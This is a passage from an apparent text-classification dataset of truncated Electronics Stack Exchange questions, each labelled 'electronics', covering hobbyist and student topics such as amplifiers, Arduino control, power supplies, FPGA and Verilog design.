amplifier circuit? Body: I have this circuit I built long ago to amplify 2mV signal from speaker and phase shift it by 2.5V. Now the question is, what does C2, C4, R5, and R6 exactly do? ",['electronics'] "Title: How to go about making a keyboard with arduino as the controller [closed] Body: These are questions I have found that are similar to mine: Arduino as full fledged keyboard controller? This is somewhat similar but it sounds like op is trying to connect an existing keyboard How ... ",['electronics'] "Title: Why wrap wires around a magnetic donut on a wiring loom? Body: Can anyone tell me why you would wrap wires around a magnetic donut on a wiring loom? There are 3 wires running on the loom, they run from a power source to the stator of a direct drive washing ... ",['electronics'] "Title: Circular momentary switch for rotation Body: I'm working on a VHS adapter that uses a VHS Cassette casing with some electronics in it. The hardware contains a battery and some sort of IC which I can Not program, it's not a micro controller, it's ... ",['electronics'] "Title: Why can't two series-connected diodes act as a BJT? Body: Another form of the question is: will joining two diodes with wires (pn-np) make a transistor-equivalent? I read that they are not equivalent, but why? ",['electronics'] "Title: Where does the name TO-220 come from? Body: Where does the name TO-220 come from, and what significance does it have, if any? I am aware it is a JEDEC standard but wonder what is the origin of the package name? ",['electronics'] "Title: Small (max 5x5 mm) connector, panel mount, for asyncronous serial interface? Body: I opened a small router and hooked up 2 wires on the PCB (to catch the serial data). That works fine. Now I'm looking for a way to make a small (tiny) connector in the enclosure, so for future use i ... ",['electronics'] "Title: Using Relay With Microcontroller Body: I have created a boost converter which boost 12v to 60v. I want to be able to pulse this voltage under water. I would like to have only the positive lead (Vout from boost) to come off the boost ... ",['electronics'] "Title: how to measure the current from AC-DC supplier? Body: I started to learn the AC/DC circuit some times ago. I don't have much experience. But from this semester on, I have some chances to practice it in lab by working on some project. I got a AC/DC power ... ",['electronics'] "Title: Reducing capacitance of a wire Body: Given a wire and a piece of foil wired to a bread board, is it possible using capacitors wired in series (or some other method) to significantly reduce the capacitance of the wire/foil? ",['electronics'] "Title: Using Titanium as antenna in implantable tracking system Body: I have some question regarding using titanium as antenna. I have to think about an implantable tracking system for animals. One of the requirements is that it should be as small as possible. Other ... ",['electronics'] "Title: Linear actuator for DIY gate opener Body: I'm starting my first DIY project building a swing gate opener for my dual swing gate. I'm looking for two as cheap as possible, as small as possible linear actuators, that gets the job done without ... ",['electronics'] "Title: AD8556 instrumentation amplifier not working! Body: I was wondering if someone would be willing to draw a complete schematic to help me get a AD8556 working. I currently have it set up like this: But the output just sticks at 1.58V. Bias current? ",['electronics'] "Title: Help looking for an AC power transformer Body: I am doing a custom project, where I have to heat up a big resistor controlled by a PID and a thermistor. Normally, I use a 12V 30A power supply, but I would like to design my own power supply, to ... ",['electronics'] "Title: How to start on RFID? Body: I want to start with the RFID by building up a simple lock which can be unlocked with another RFID transponder. The device which has unlocks the lock and has one RFID transponder will be a ... ",['electronics'] "Title: Is a solenoid considered a DC Motor? Body: For our senior project we are making an electronic door lock controlled by a raspberry pi. We created a proposal which was approved for all the specs for creating the device which we have to abide by. ... ",['electronics'] "Title: Time Proportional control Body: I am developing application for Time Proportional Control of thermostat. I know that the output for heater is proportional to an error. For example, if SetPoint is 20 and proportional band is 2, in ... ",['electronics'] "Title: measure resistance circuit when I have an lm334 Body: I have a circuit simulate this circuit – Schematic created using CircuitLab this circuit without the lm334(current limiter) should produce some kind of voltage on R6 when R5 and R4 are ... ",['electronics'] "Title: What's the benefit of not soldering NC pins compared to soldering them to a disconnected pad? Body: I've been looking at my scope's power supply board and I noticed that R7731A ""Burst Triple Mode PWM Flyback Controller"" in DIP has two NC pins which are not connected to absolutely anything. They've ... ",['electronics'] "Title: Timer interrupt Body: I'm stuck in this. I'm writing an Arduino program that should simply sample both FSR and EMG A/D outputs with a sampling rate of 100 Hz (using timer interrupts to do this rather than a ""delay"" loop). ... ",['electronics'] "Title: Basic DC Fan Controller Body: I have been tasked with retrofitting some small fans to an old car, to help move heated air into the footwells. Being a computer-type, I immediately bought some standard computer cooling fans. The ... ",['electronics'] "Title: What are the factors that decide where to use what motor? [closed] Body: What is the basic difference between single phase motors, three-phase motors, brake motors, synchronous motors, asynchronous motors, Induction Motors, etc.? What are the factors that decide where to ... ",['electronics'] "Title: USB hub acting differently towards another hub and device Body: I have a USB hub that supports individual port-switching. I'm shutting off a port using the libusb library. When there is nothing connected to the port, the power pin drops from 5V to 1.5V and slowly ... ",['electronics'] "Title: Wire capacity for a 60 Amp aux service [migrated] Body: An insulated single wire cable (with about 10 bundled copper wires) that is marked 900V and is about 60 feet long will carry how many Amps? I have an auxillary garage service panel that feeds from a ... ",['electronics'] "Title: Surge protection for ADC inputs measuring DC from batteries and switching supply? Body: I'm working on a circuit that senses AC presence and measures DC output from a switching power supply and a battery. They will stay inside a grounded metal case but out in the field, so the AC mains ... ",['electronics'] "Title: Square Wave Amplifier - 5VDC -> 13VDC Body: I want to have a square wave that goes from 0 VDC to 5VDC go through some sort of amplifier and that amplification takes that same wave ( at a frequency of 1200Hz but could also be adjusted later ) ... ",['electronics'] "Title: RC Helicopter Engine Spec Body: I try to build a quad copter. First of all. I do know that there are very viable prebuild solutions out there but part (ok maybe a very big part) of the fun is to construct/program the thing. The ... ",['electronics'] "Title: Is silver actually used for coating copper wire? Body: I heard stranded copper wire would be silver-coated for better conductivity at high frequencies (skin effect). But silver is at least an order of magnitude more expensive than copper, yet only has 5% ... ",['electronics'] "Title: driving high-side N-channel MOSFETs in H-Bridge Body: What is the most efficient / best way to make an H-bridge? I want low power loss but also fast switching time since I will using PWM. I have considered using 2 P-channel and 2 N-channel MOSFETs to ... ",['electronics'] "Title: How to eliminate computer noises from audio on shared power supply (12v/5v buck converter)? Body: I'm a total electronics noob- I've done a project where I put a Raspberry Pi into an old 80's boombox to offer streaming content. I used a cheap LM2596 buck step down converter to deliver the 5v ... ",['electronics'] "Title: bjt transistor designing for a particular gain without emitter resistance [closed] Body: how to design a voltage amplifier from BC547 with a gain of 50 and no emitter resistance, given supplies of 10 volt. ",['electronics'] "Title: Constellations in Digital Communication Body: What is the intuitive way of understanding concept of constellations in digital communication? I know the Gram Schmidt Procedure, Orthonormal basis functions and how to find the constellation but just ... ",['electronics'] "Title: Manual Control Interface For DSLR Camera [migrated] Body: From where can I get the code (any language) to control the features of a DSLR Camera manually e.g shutter speed, exposure etc. Canon and Nikon cameras come with a pre-included software that can ... ",['electronics'] "Title: Best electronics book for a physics graduate [closed] Body: I'm a physics graduate; I want to learn some electronics so I'm searching for a book which gives an fair overview of electronics (components, analog circuits, digital circuits...) suitable for me (not ... ",['electronics'] "Title: Can I use a NFC ring as an Oyster card? Body: I've been looking into converting a MIFARE (Oyster card) into a ring. I found this NFC ring on kickstarter, will that work as an Oyster card? Or are they different technologies? ",['electronics'] "Title: Simple 5v switching regulator circuit Body: I am trying to build a circuit to charge a couple of USB devices from the 12 volts from a car, but being a total newbie, I'm having a bit of difficulty understanding what to do with the switching ... ",['electronics'] "Title: Solder does not stick to iron after cleaning Body: I have read many articles regarding this subject and none have worked - otherwise I would not have made a thread that is surely a dupe of many others on this site. I purchased this 25W soldering ... ",['electronics'] "Title: Making combinational component synchronous Body: I have an combinational entity that is implemented with a lot of combinational logic. Synthesis (using Xilinx ISE) indicates: Maximum combinational path delay: 62.367ns When placed into a ... ",['electronics'] "Title: What is a Reacto Tester unit and are there any projects in which I can use it? Body: I was given an old piece of electronics. It is a Reacto Tester made by Antronic Corp from Chicago. After a quick glance at the manual it seems that its a tester for tube display units such as ... ",['electronics'] "Title: How do IR rangefinders accomplish centimeter precision without high speed / high cost parts? Body: I'm currently working on a system that requires an RF rangefinder with ~15 cm precision, over a range of about 50 meters. My research into the field has shown that I'll need complex and expensive ... ",['electronics'] "Title: How to use the Free Starter Edition of Sigasi's VHDL IDE Body: I downloaded sigasis ide for vhdl lastnight and i opened up the tutorial vhdl folder and tried to hit the run button (the green play button im assuming) and i got some menus and i just put some stuff ... ",['electronics'] "Title: LM386 with Gain of 40 Body: I am trying to build one of the example circuits in the LM386 datasheet (any of the first 3) but with a gain of 40 rather than 20, 50 or 200. I understand that the gain is controlled by the impedance ... ",['electronics'] "Title: Build an WiFi IP camera with webcam Body: I have a USB webcam and a WiFi module which it can convert Serial data to WiFi and vice versa. The question is can I simply convert the data coming from the webcam to serial with a USB to Serial IC ... ",['electronics'] "Title: How to find lower 3dB and upper 3dB from PSPICE frequency response Body: I have simulated the frequency response of an amplifier circuit. Frequency range is from 10 Hz to 2.5 MHz. It gave me a plot with a y-axis range going from -50 to 50. I assume these are dBs but I am ... ",['electronics'] "Title: Drill files from Kicad for PTH and NPTH Body: I have a board in Kicad that uses a mixture of plated and non-plated through holes. It generates two drill files for these. However, manufacturers seem to expect only a single file. If they don't ... ",['electronics'] "Title: Voltage reduction without reducing current [closed] Body: I have regulator IC which is giving me 5V & 100 mA. I want voltage to be 3.5 V but without reducing current. What should I add in circuit to keep same current but reduce voltage? ",['electronics'] "Title: Sane default for Altium pastemask expansion? Body: I am rather new to layout work. I am asking this question to sanity check that: The pastemask expansion is supposed to be negative (paste area smaller than the pad), right? My vendor said to use ... ",['electronics'] "Title: What is this part called? Body: Kind of a random question, but what are the blue wire-clamp-things in the image below called? I see those everywhere, and I think they'd be awesome to have in a grab bag... ",['electronics'] "Title: Simple Audio Amp for FPGA audio to PC Body: I'm working on an FPGA implementation of a retro '80s computer (see http://fpgabee.toptensoftware.com) and am trying to setup some 8-bit audio support. I'm using a sigma-delta DAC and a R/C low-pass ... ",['electronics'] "Title: Are DC link capacitors suitable for use with AC? Body: In looking for high-value (33uF) film capacitors for use with AC, I've come across a number of ""DC link"" capacitors. Can they be used with AC assuming their DC voltage rating exceeds the AC RMS and/or ... ",['electronics'] "Title: Is this a bidirectional buck/boost converter Body: I found this interesting IC on Linear Technologies site, but I don't understand if it, or its development board, can both boost input voltage to output and buck output voltage back to input. ... ",['electronics'] "Title: current draw effects on battery life Body: I have a dc voltage regulator 12 volts in 9 volts out. it is drawing 8 milliamps. the battery is 12 volt dc 7 amp hour. how long will this battery last at this load? ",['electronics'] "Title: How could I identify this thermistor Body: I've been scavenging for components on a deceased gadget and I've found a thermistor I'd like to use in the future. The problem is there's no serial code printed on it. Without knowing the ... ",['electronics'] "Title: Amplifying an audio signal Body: Preface Essentially, I want to use the analog signal coming out of my smartphone when I play music to modulate LEDs and piezo electric elements. Initially, I thought that if the raw power output is ... ",['electronics'] "Title: Why does CircuitLab have the MOSFET symbols it has? Body: CircuitLab has these goofy things: simulate this circuit – Schematic created using CircuitLab My eyes are much more accustomed to these: ...with the simpler versions on the right used ... ",['electronics'] "Title: Regarding Multiplexing and Multiple Access Body: Is Time Division Multiplexing and Time Division Multiple Access same if not what is the difference between them? Similarly between FDM and FDMA. ",['electronics'] "Title: How much current can my 74HC595 handle on each output pin? Body: So, I've been checking out the datasheet and I've gotten pretty confused... At the top it claims that 6mA drive at 5V but farther down in the absolute maximum ratings it says that the outputs can be ... ",['electronics'] "Title: Why is flyback air gap needed for energy storage? Body: Why do so many sources say something along the lines ""since a flyback transformer stores energy, an air gap is needed""? I have seen this reasoning in textbooks and app notes. I thought air gaps ... ",['electronics'] "Title: What is the thevenin voltage and resistance of the circuit given below Body: simulate this circuit – Schematic created using CircuitLab ",['electronics'] "Title: Overflow detection in a CSA (Carry-save Adder) Body: How do you detect overflow when you have a CSA? I have 3 16-bit two's complement inputs and a 16-bit output and I'm wondering how do I detect overflow? ",['electronics'] "Title: Inductors - what are they used for? [closed] Body: When are inductors really used? I have read that the elements are typically quite hard to implement into circuits given their physical characteristics. I also read that if inductors are placed in ... ",['electronics'] "Title: Pseudorandom bit generator: analogue circuit for microcontroller digital input Body: I want the most cost effective way for a basic psuedorandom number generator in a microcontroller. I will use the PIC16F54 which has extremely limited resources. I am thinking about using noise with ... ",['electronics'] "Title: Buck regulator frequency requirements (transient response) Body: Looking at the frequency choices for buck regulators, is there a defined ""good"" range for a particular context? Looking at datasheets, manufacturers extoll the virtues of ""better transient response"". ... ",['electronics'] "Title: Current limiting on a stepper controlled by L293D on an arduino board Body: I currently have a bipolar stepper motor connected to a l298n, with one resistor to each coil. The problem is it draws a lot of power when there is no need to, and limits the maximal power of the ... ",['electronics'] "Title: increasing voltage using operational amplifier Body: I want to build own circuit using operational amplifier and resistors. I have 12V power source (car accumulator) and 6V input voltage (Vin). I want to get 12V Vout and 25W at the output. So that is ... ",['electronics'] "Title: transformer's basic operation Body: Doesn't the induced voltage (v1) suppose to oppose i1 flow, so + and- should be inverted? Is it possible for the same transformer that v1/v2=-a and i2/i1=a (for example if it is possible to ... ",['electronics'] "Title: Mechanically strong way to connect wires T-junction way Body: I have an existing LED light curtain but I would like to redo it in more robust way. It has a main cable with 6 branches hanging down like this: ... ",['electronics'] "Title: Best way to connect to a really small berg connector Body: I am using the cc2520emk to interface with an external mcu. I know the pinout of each but I do not know how to make a good connection with my MCU. THe mcu is not the issue. I can stick in Bergs and ... ",['electronics'] "Title: 4 input sequence detector Body: I need to design a 4-input sequence detector and I'm really having trouble with this. The numbers are entered as a 4 digit input (0010 is 2, 0110 is 6, etc). The sequence must detect, for instance, ... ",['electronics'] "Title: Sawtooth/ramp waves with fixed amplitude from sine or square clock source? Body: I hope someone can help me out! A bit of background info: I have created a DDS based signal generator (Using PIC MCU to drive a AD9833 for DDS output). The generator is capable to produce sine, ... ",['electronics'] "Title: Can a synchronous regulator “chirp” in burst mode? Body: I'm looking at (the millions of) buck regulators available for a project where the board will be a host board for a Gumstix Dual Cortex A9. This can pull quite a bit of current at maximum so I was ... ",['electronics'] "Title: Glitchy Touchscreen Caused by Charger [closed] Body: I recently bought a Nexus 4. I had a couple of spare chargers laying around. I used a charger that apparently had an issue exactly like: https://www.youtube.com/watch?v=mrpBTG0a6K8. If I used my own ... ",['electronics'] "Title: How to synchronize two microcontrollers to micro-second accuracy? Body: I need to synchronize two micro-controllers so that they can measure the speed of propagating waves. The time delay measurements need have microsecond accuracy (error less that 1/2 of a microsecond). ... ",['electronics'] "Title: Isolating Probe from stray voltage Body: I have a PH Probe taking readings from an ungrounded container that has sources of electrical noise (AC Pumps, AC heaters, etc). I would like to protect the probe from that noise. If the ... ",['electronics'] "Title: Generating pulse train of varying frequency on an FPGA Body: I am working on generating a pulse train to control a motor that accepts a pulse train as an input. Each pulse corresponds to a pre-set movement increment; I can set one pulse equal to 1/1000 degree ... ",['electronics'] "Title: Blinking an arbitrary number of LEDs in succession Body: I've recently come across a problem that I feel should be nearly trivial, but for the life of me I can't figure out how it would be done. Basically all I want is a series of LEDs that will light up ... ",['electronics'] "Title: RS232 Ground-Loop Isolation: “creative” solution? Body: I have a RS232 connection that seem to suffer from different ground potentials at the two ends of the connection: The receiver signals a ""break condition"" in Realterm. As I understand it this means ... ",['electronics'] "Title: Is there a device to get modulo of voltage value? Body: This may sound very naive and impractical question, and most likely the answer is negative, but still: is there any more or less simple (simpler than ADC/DAC) analog component or circuit, which makes ... ",['electronics'] "Title: Why do RC circuit voltages decay *slowly* rather than instantly? Body: Let's take the simplest RC circuit imaginable: simulate this circuit – Schematic created using CircuitLab Now I think I properly understand why the voltage rises slowly after the leading ... ",['electronics'] "Title: Active low-pass butterworth filter design Body: I have a project on filtering out frequency above 2.5 KHz. The filter should be low pass butterworth. I am confused here as there are two cutoff frequencies I need to use. 1st cutoff freq. 1KHz and ... ",['electronics'] "Title: ADC STM32F4 : Funky Values Body: I am confronted to a problem : I test the output ADC's values. I send to PC0 (GPIO_PIN_0 and ADC3 with Channel 10) an signal between 0 and 1 volt -don't consider impedance issue, and it is not a ... ",['electronics'] "Title: full load primary and secondary currents of a transformer Body: Why does the question mention ""full load currents"", what if there isn't such currents, would the transformer function differently? What are the full-load primary and secondary currents of a ... ",['electronics'] "Title: how to monitor the voltage level and protect the 3 phase induction motor against high/low voltage fault? [closed] Body: how to monitor the voltages of all 3 phase in 415v 3 phase system. i like to monitor the voltage whenever it is greater than 436v and whenever voltage gets lower than 394v. if the voltage exceeds or ... ",['electronics'] "Title: Wiring up boat electronics - 240V and 12V with inverter [migrated] Body: I've just bought a boat, but the electrical systems need a bit of an upgrade before going cruising for any length of time. At the moment, All the 12V runs from a single starter battery, and there are ... ",['electronics'] "Title: How to measure distance/position accurately? Body: I am wondering if there is a way to measure distance between two movable points (e.g., the first point is on the hand and the second point is on the back of the human body). I was looking at ... ",['electronics'] "Title: What is the correct command sequence for microSD card initialization in SPI? Body: I am trying to interface a microSD card (2 GB, Kingston, Sandisk) with a Silicon Labs C8051F931 controller. I am very much confused about the sequence which I have to follow for initialization. ... ",['electronics'] "Title: Circuit to maintain a minimum current? Body: I bought a cheap USB battery pack to power a portable project. It works great, except it shuts itself down if there's a current draw lower than a certain amount (haven't pinned it down, but I think ... ",['electronics'] "Title: Heater buzzing in AC triac circuit Body: The problem is that my 1200 watt conventional heating element is creating a mechanical buzzing noise. Shown below is a schematic of my setup: PD4 is the output from a 5v microcontroller and is ... ",['electronics'] "Title: What do I need to program an ATmega 168? Body: I use AVR Studio for my compilation and c/c++ code (not arduino).So far I have used a Atmega 2560 development board provided by Nex robotix. I have ISP programmers of the following sorts... AVRISP ... ",['electronics'] "Title: High current in the presence of high frequency digital logic circuits Body: I'm in the process of designing an ARM single-board computer that would also have high current (18A) running through the same board. Think of a BeagleBoard, but powered by a 6V/2800mAh battery. So the ... ",['electronics'] "Title: Time limited and band limited signal Body: How can a time limited signal be of infinite bandwidth and a finite bandwidth signal be of infinite duration? ",['electronics'] "Title: Could an audio induction loop be used to transmit wi-fi? Body: A few months ago, I built an audio induction loop around my house using the existing dog electric fence, and had great results, and could hear the music a small amount even 2 neighbors away. I used a ... ",['electronics'] "Title: How do you calculate caps for voltage regulator circuit Body: In a voltage regulator circuit, how do you calculate which capacitors are placed before and after the regulator? For example, if I'm pulling 50mA from a 5VDC regulator(L78M05) with a 9V input, how do ... ",['electronics'] "Title: Interfacing with an LCD screen Body: I have managed to salvage the LCD screen from an old Tom-Tom (the model number of the screen is LTE430WQ-F0B-0BS). It comes with a driver for the screen on the back, but it doesn't look humanly ... ",['electronics'] "Title: PID controller algorithm for sr90 digital controller Body: I am trying to implement PI control algorithm in c#. I found some help in internet and i understand the formula how to use. I have measured value(PV)= 20 °C and set point (SP)= 80°C; I would like to ... ",['electronics'] "Title: How capacitor block DC? how does capacitor get DC charged if no path is provided? [duplicate] Body: I simulate this circuit ( a 1.5V DC source connect to left side of C0, right side of C0 is connected to left side of C1, and right side of C1 is connected to a 1V DC source.) The simulation tells me ... ",['electronics'] "Title: Instructing the Program Counter (PC) to increment [closed] Body: I am building an 8bit computer from TTL, in regards to the Program Counter, sometimes I may not want it to increment on each clock pulse, with that in mind, how would I instruct it to increment? The ... ",['electronics'] "Title: Line-Neutral-Ground instrument to be plugged to a Line to Line power source Body: What are the problems that may occur when a Line-Neutral-Ground instrument is plugged to a Line to Line power source? Any suggestions? ",['electronics'] "Title: Transistor circuit to toggle motor on/off not working (Arduino) Body: I've been trying to create a simple transistor circuit with a 2N3904 that will toggle a geared DC motor on and off without drawing power from the arduino - I've followed the schematic seen in the 2nd ... ",['electronics'] "Title: Why do some radio antennas require a path to ground and some do not? Body: I'm currently learning the basics of radio and have noticed that some radios, such as crystal radios, have a monopole antenna that is essentially a wire buried in the ground. However, other radios, ... ",['electronics'] "Title: Logic design for FPGAs using C Body: I am well aware about programming processors and microcontrollers in C. But can C code (not SystemC) be used for logic design for FPGAs? Are there any specific software tools for this purpose? ",['electronics'] "Title: Overcoming a wire's internal resistance? Body: Let's say I have a very sensitive device that needs EXACT voltage. Let's say that the voltage it requires is 5 volts. Now let's say I'm running the aforementioned voltage over a wire with an ... ",['electronics'] "Title: Transistor biasing [closed] Body: I have learnt loads about biasing a transistor, but I never managed to understand them. They talk about DC load line, Class A, B, C and various types of biasing. What are they all about and where can ... ",['electronics'] "Title: Raspberry PI freezes [migrated] Body: I am running my Pi with an Iphone charger( 5V ~1A). It was running quite well and no hangups or anything. I was mostly using ssh to use it. Recently, I hooked up and ADC(MCP3202) to connect a sensor ... ",['electronics'] "Title: Are SMD components sometimes glued? Body: I just tried desoldering an SMD receptacle off a mass produced main board of an IBM ThinkPad X41 laptop, but that beast stuck to the board like glue, and I destroyed it. Is it possible that the ... ",['electronics'] "Title: balance charging current for batteries connected in series Body: I've been using this simple Li-Ion charger for quite a while. It consists of 4x 18650 Panasonic NCR Li-Ion ""unprotected"" batteries (3.1Ah), connected in series (2+2). Charging was going well with cell ... ",['electronics'] "Title: How to run 12V compressor directly off battery? Body: I have a 12V air pump (runs out of the car cigarette lighter). It had worked ok the first few times then stopped working, with smoke billowing out of the receptacle while it was plugged into the ... ",['electronics'] "Title: The best way to convert and increase 220v AC to 600v DC(without any oscillation)? [closed] Body: How can i convert and increase 220v AC to 600v DC(without any oscillation)? ",['electronics'] "Title: How can I use relays and deal with reverse polarity with the Arduino? Body: I have a toy car that I wanted to make autonomous. It has a motor for rear drive (seen in the bottom of the photo hidden in the gear-box) and a motor for rack and pinion steering (located just ... ",['electronics'] "Title: Calculating electrical limits of a DC motor? Body: I have a small DC motor left over from a crappy toy car, that I want to reuse for a small project. How can I find out the voltage/current requirements/limits if all I have is the motor in hand ... ",['electronics'] "Title: JFET “How to find resistance of the device” Body: I have this homework question that I can find one way to get the answer but I want to use a certain equation ""attached"" to find the answer also. I'm having a hard time understanding what to ... ",['electronics'] "Title: Creating a Logic Gates Body: Background I've arrived to a dilemma in my personal project where I'll need to design a circuit like the following: The logic makes sense to me, but I found that I am unsure in what nature would ... ",['electronics'] "Title: 5V and 1.4V switching circuit for a sensor Body: Why this circuit provides only 2V on the load (33 ohms resistor) when the switch to the gate of the MOSFET is closed ? I was expecting it to switch between 1.4V (caused by the 85 ohms resistor) and 5V ... ",['electronics'] "Title: How to create a circuit drawing that allows easy mapping for setting up a breadboard Body: I've read the post Rules and guidelines for drawing good schematics and whilst it does contain a lot of useful information, it doesn't address my question about a drawing to be use for breadboards. ... ",['electronics'] "Title: Importance of removing ripples in output of dc-dc converter Body: I heard from somewhere that for some power supplies, it is important that there be no ripple and 'dips' in the output of a constant voltage output dc-dc converter. The specific cases are: 1.) When ... ",['electronics'] "Title: Need to intercept USB data stream going to printer Body: I have a label printer connected to a PC via standard USB 2.0 A to B cable. What I need in terms of functionality is a USB Y cable that would send the print data stream down both cables ... ",['electronics'] "Title: How does the D Flip Flop work and WHY does it hold its value? Body: I'm trying to grasp and understanding of electronics hopefully to work my way up to building an 8 bit computer. I'm currently digging deeper into Flip Flops, and rather than taking them that they ... ",['electronics'] "Title: USB CDC connection (plug / unplug cable) Body: I am having a issue with USB CDC (running in a LPC1788). If I power up a mother board with the USB cable (NXP device) already connected, the O.S. (Linux) does not identify the device, but if I unplug ... ",['electronics'] "Title: Implement combinational logic using control input Body: I need to implement the following block. LD comes from a clocked control input but Adder and Score Register must be built using sequential logic. When control outputs 1, I load my score into Score ... ",['electronics'] "Title: How can I identify the fault on an Arduino Uno board that's had the smoke let out? Body: I recently purchased an Arduino Uno. I've been having a ton of fun fiddling with it -- that is until I pushed +12V to the Vin without any kind of voltage step-down. The smoke was violently released ... ",['electronics'] "Title: What does “configuration” refer to in PCI and PCIe? How is this different from “Enumeration” Body: I am not being able to find a clear description of what configuration means in PCI and PCIe. I have found something called as configuration space, but without knowing what configuration means, it is ... ",['electronics'] "Title: Back-drive DC Motor: voltage and current profile? Body: If you back-drive a DC motor to produce electricity, what will the voltage and current output curves look like as you increase the RPM? Let's say the load is a simple light bulb. edit: I mean in ... ",['electronics'] "Title: Damaging op-amps Body: What will it happen if I try to shift the 3V input signal with 1.5V or 3V. The op-amp is powered from +3V3. Can I damage the op-amp if powered from GND to 3V3, but the input signal is between ... ",['electronics'] "Title: Can a permanent marker be used on a PCB without damaging it? Body: I need to cover up a line of text on the silkscreen of some PCBs and I'm not sure of the best way to do it. I've read that removing the printed text with a chemical will likely damage the boards, so ... ",['electronics'] "Title: Is programming Arduino a subject of CSE(computer science) at university? Body: If get admitted in ""computer science and Engineering"" department of any university, would there be any subject for programming Arduino? This Arduino also looks like a subject of ""Mechanical ... ",['electronics'] "Title: How were the first microprocessors made? [duplicate] Body: I have this question. Since microprocessors were first made, the technology has developed very much. I'm asking this because i would like to try to make a simple microprocessor, something like Intel ... ",['electronics'] "Title: motor feedback system for linear motion Body: What is the best way to detect the position / displacement of a linear motor ( solenoid type ) for feedback ? I was thinking of using a hall effect sensor or an Infrared sensor . ",['electronics'] "Title: How do I simulate an audio amplifier in Multisim? Body: I'm new to Multisim and am using the 12.0 PowerPro version. I have designed the circuit in the question TDA2002 Audio Amplifier using Multisim: The Multisim circuit may be found here. Instead of a ... ",['electronics'] "Title: solving eletrical circuit with two voltage sources Body: I want to participate with the physics olympiad. I encountered a question with usual electronics but two voltage sources (!?) and I had to calculate the voltage / currents / resistance values of that ... ",['electronics'] "Title: How to perform a frequency response test in a tube amp output transformer? Body: I have an output transformer, which is a clone from an original Fender 5e3 transformer, I would like to know how it's behavior in typical frequencies. How can I perform such test using instruments ... ",['electronics'] "Title: Motor Control System for LGB Trains Body: I am currently experimenting with some motor control circuitry for my garden train. I have spent several time trying to read up on the basics of motor control, and I have also done some prototyping. I ... ",['electronics'] "Title: Are there any Pickit 3 clones available? Body: I've Googled around and came across quite a few Pickit 2 clones, but I'm looking for the newer Pickit 3. I'm looking for schematics, firmware/.hex files for building a Pickit 3 to save some costs. ... ",['electronics'] "Title: Is current able to flow through a Capacitor at DC? [duplicate] Body: Can someone clarify whether or not a capacitor blocks current at DC? simulate this circuit – Schematic created using CircuitLab ",['electronics'] "Title: Sleep modes on CCS PIC 18F87J11 Body: I am using timer1 as my 100 ms interrupt clock timer. I don't use hardware WDT, I do this myself. Can I sleep (or idle) the processor and just wake up when the 100 ms clock interrupt goes off? If so, ... ",['electronics'] "Title: LHS of always block in verilog need to be reg, but index of array in LHS of always block cannot be a reg, is it true? [duplicate] Body: I am trying to synthesize a verilog file with some part of code like this(obviously i hadn't declared module and other input and output variables) ... ",['electronics'] "Title: Connecting wind generator to 12V battery without regulator Body: I've been doing a DIY Wind energy generator. I'm also a newbie in this field. I would like to ask what will happen if I connect my wind turbine to a 12V rechargeable battery without a voltage ... ",['electronics'] "Title: LTI system described by a differential equation Body: Lets say an LTI (linear time invariant system) is describe by a differential equation such as this: $$ \sum_{k=0}^{N} a_k \frac{d^k y(t)}{dt^k} = \sum_{k=0}^{N} b_k \frac{d^k x(t)}{dt^k}$$ (source) ... ",['electronics'] "Title: Can a M74HC595 shift register directly drive LEDs? Body: I'm going to use a shift register to turn off and on some LEDs. However, I just read on the M74HC595 datasheet that it can only output 6mA on each pin. The LEDs I got are rated at 20 mA. Do I need the ... ",['electronics'] "Title: Impedance for a communications console Body: I'm working on some old school Zetron consoles for my summer job. They provide 2/4 wireline control to some base radios as well as I/O for aux operations like triggering relays to open/close doors ... ",['electronics'] "Title: Controlling a 300V node with 5V from a micro-controller Body: The goal is to drive a 47k load that requires at least 5mA of current. The design is as shown, with FET values matching their part number: An LTSpice simulation (with generic pmos and nmos devices) ... ",['electronics'] "Title: Read and write values in Multidimensional arrays in verilog Body: How can we read and write values in a multidimensional array in verilog, i had read in this link regarding different operations that can be done on multidimensional array. like if there is a part of ... ",['electronics'] "Title: Understanding the polarized relay concept Body: During the selection of relays for my project I got to know about polarized relay which I had never heard of before. Could somebody please explain how exactly it works and its areas of applications. ",['electronics'] "Title: Curious state transitions in state machine RTL simulation Body: I have a simple state machine as part of my Verilog module: ... ",['electronics'] "Title: LC filter vs Isolation tranformer for AC coupling of a DAC output Body: I'm trying to decide between a few choices for coupling the output DAC of a DDS with the rest of my circuit. DDS dac's I'm looking at are typically either single-ended or have complimentary current ... ",['electronics'] "Title: Arduino MEGA and 2 ethernet shields and wifi? Body: I have an Arduino MEGA 2560 and I'd like to have 2 Ethernet connectors and wifi. Is it possible to stack 2 ethernet shields and make them work. When I did this neither of them worked. I think they ... ",['electronics'] "Title: ngspice not printing currents for any circuit Body: I'm reading an EE book that references SPICE so to follow along on my linux machine I installed ngspice. I can't output current for any circuits! I've tried passing the file with -r option and ... ",['electronics'] "Title: How to make home automation using arduino for light, fan etc [closed] Body: How to make home automation step by step using arduino for light, fan to switch it on and off using mobile device. I m very interested in this project. Basically i know how to use arduino and ... ",['electronics'] "Title: How to draw a circuit diagram to check a 4 bits number is odd or even Body: Like the title, anyone know how to draw a circuit diagram to check a 4 bits number odd or even ?? Update: Here are my truth table for my solution: A B C D Output 0 0 0 0 0 0 0 0 1 1 0 0 1 0 0 0 ... ",['electronics'] "Title: Why do some devices have 200V on the case? Body: I recently got a desktop LED lamp, and I feel a ""strange"" slight vibration when touching the metal case. I found that other devices also have high voltage on their case. What is the reason/trade-off ... ",['electronics'] "Title: What happens to the printf statements on a cross compiler for embedded devices? Body: What happens to the print statements on an embedded tool chain where the micro controller has no display attached to it? Does the program crash? What about all the other several c dependencies when we ... ",['electronics'] "Title: UART / GPIO bridge (bitbang)? Body: I like to control 8 switches (GPIO pins) individually via USB (on/off). To start i have a USB UART adapter (CP2102). By sending a command to the virtual port to control each pin i would like to ... ",['electronics'] "Title: Choosing the right batteries Body: I have a Radio control circuit for a boat I made and I don't really know which kind of batteries I have to use. Can someone explain me the differences (A, AA, AAA, C, D) and others if there are) and ... ",['electronics'] "Title: Difference between TTL I/O type vs Schmitt trigger I/O type Body: While reading microcontroller data sheet i came across i/o types like i) TTL ii) schmitt trigger. I came to know that TTL i/o logic means 0v-0.8v -logic state 0, 2-Vcc means logic state 1 (as ... ",['electronics'] "Title: Xilinx DSP48 Single Slice 18x18 Complex multiplier Body: I am writing a verilog code for 18x18 complex multiplier using DSP48 single slice implementation in Vertex 4. Here is my code ... ",['electronics'] "Title: Is Arduino Due capable of transmitting video through internet? Body: Is Arduino Due capable of interfacing with 